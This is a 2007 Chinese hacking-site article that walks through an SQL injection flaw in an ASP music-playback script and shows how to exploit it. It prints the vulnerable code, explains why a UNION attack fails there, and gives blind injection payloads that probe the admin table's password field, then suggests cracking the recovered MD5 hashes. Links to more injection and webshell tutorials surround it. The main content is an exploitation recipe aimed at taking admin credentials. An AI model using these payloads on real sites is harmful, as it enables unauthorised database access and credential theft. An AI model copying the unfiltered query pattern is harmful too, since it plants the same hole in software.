·搜黑-全球首例黑客资讯搜索
·视频-国内视频学习教学大全
·设计-汇集百家设计网站精华
·编程-13大编程语言全面学习
安全中国首页 > 文章中心 > 综合注入文章
分析一段有注射漏洞的asp代码时的小挫折
http://www.anqn.com     时间:2007-9-24 2:10:56      责任编辑:高远      网友评论
热 点:

在网上看到了一段代码:(后面是我做关键部分的解释)   
<!--#include file="../user/conn.asp"-->  
<!--#include file="Path.Asp"-->  
<ASX version = "3.0">  
<%  
id1=replace(request("id"),"","")        ‘replace函数做简单的过滤,其实没效果的  
if id1<>"" then                ’判断id1是否为空  
set rs=server.createobject("adodb.recordset")  
id=id1  
sql="select * from MusicList where id in (" & id & ")"  ‘看仅仅判断是否为空就带入了sql语 句 查询,这个简单,大家都会  
rs.open sql,conn,1,3  
rs("hits")=rs("hits")+1    ’问题就出在这里,这一句,后面详细解释  
rs.update  
songpath=rs("song_path")  
If songpath="" or IsNull(songpath) Then     
后面的就不怎么有关了,就不详细分析了。  
songpath=1  
End If  
select Case songpath  
Case 1  
song_path=song_path1  
Case 2  
song_path=song_path2  
Case 3  
song_path=song_path3  
Case 4  
song_path=song_path4  
Case 5  
song_path=song_path5  
Case 6  
song_path=song_path6  
Case 7  
song_path=song_path7  
End select  
song_path=song_path&rs("Wma")  
---------------------部分代码省略 
 
看下这段代码,有学过asp的人,这个不是很明显的没有过滤注入产生了?没错,我当时一眼就说存在注射,可是我后面又仔细看了~,看到了这行  
rs("hits")=rs("hits")+1  
rs.update  
注意到没,这句就使我们的union无处可用了,因为那个出来是不可写的。那么我们只有通过构造经典的sql语句了,看我构造:  
id=1) sql and 1 in (1  
前后的保证出来的有记录,加上中间加我们自己的sql语句,就可以注射了.假设这里关键表是admin,字段有 password , username  
那么就可以这样写了:  
id=1) and (select top 1 len(password) from admin)=16 and 1 in (1  
出来的一般是面的md5加密的,去跑下,后面的自己看了小问题,解决就好了,不过不注意还是不行的~~~

·上一篇: 突破SQL注入攻击时输入框长度的限制
·下一篇: 注意那些容易被忽略的SQL注入技巧

发表评论  打印本文  返回顶部  关闭窗口
最新5条评论 条评论
条评论
名称: 信箱:

相关连接
·SQL注射原理超浓缩简单篇 [2007-9-22]
·分析一段有注射漏洞的asp代码时的小挫折 [2007-9-15]
·推荐:SQL注射原理超浓缩简单篇 [2007-9-4]
·再暴蚂蚁影院系统的注射漏洞 [2007-9-4]
·通过注射来修改管理员的密码 [2007-9-4]
·手工注射Jsp网站脚本学习技术 [2007-8-26]
·手工注射Asp网站脚本学习技术 [2007-8-26]
·手工注射Php网站脚本学习技术 [2007-8-26]
·注射MSSQL时解决的一个未有人提到过的问题 [2007-8-26]
·一个注射点,一个webshell甚至系统权限 [2007-8-25]